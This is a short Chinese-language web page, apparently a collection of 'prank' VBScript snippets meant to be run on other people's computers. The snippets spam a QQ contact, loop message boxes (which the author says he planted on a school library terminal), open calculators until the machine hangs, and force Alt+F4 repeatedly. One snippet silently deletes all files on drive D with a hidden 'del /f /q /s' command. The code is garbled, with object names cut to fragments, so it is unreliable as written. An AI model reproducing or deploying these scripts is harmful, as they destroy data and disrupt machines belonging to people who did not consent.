整人代码大全，一起来看看吧。
01
打开好友的聊天对话框,然后记下在QQ里好友的昵称,把以下代码中xx替换一下,就可以自定义发送QQ信息到好友的次数(代码中数字10改下即可). xx.vbs=> =--------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("w;) for i=1 to 10 w 700 w("与 xx 聊天中") w "^v" w i w "%s" next w
02
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈。do msgbox "You are foolish!" loop
03
打开无数个计算器，直到死机。set wsh=createobject("w;) do w "calc" loop
04
删除D:\所有文件 dim WSHshell set WSHshell = w("w;) WSH "cmd /c ""del d:\*.* / f /q /s""",0 ,true
05
不断按下alt+f4 （开什么都关闭……） dim WSHshell set WSHshell = w("w;) while(1) WSH "%{F4}" loop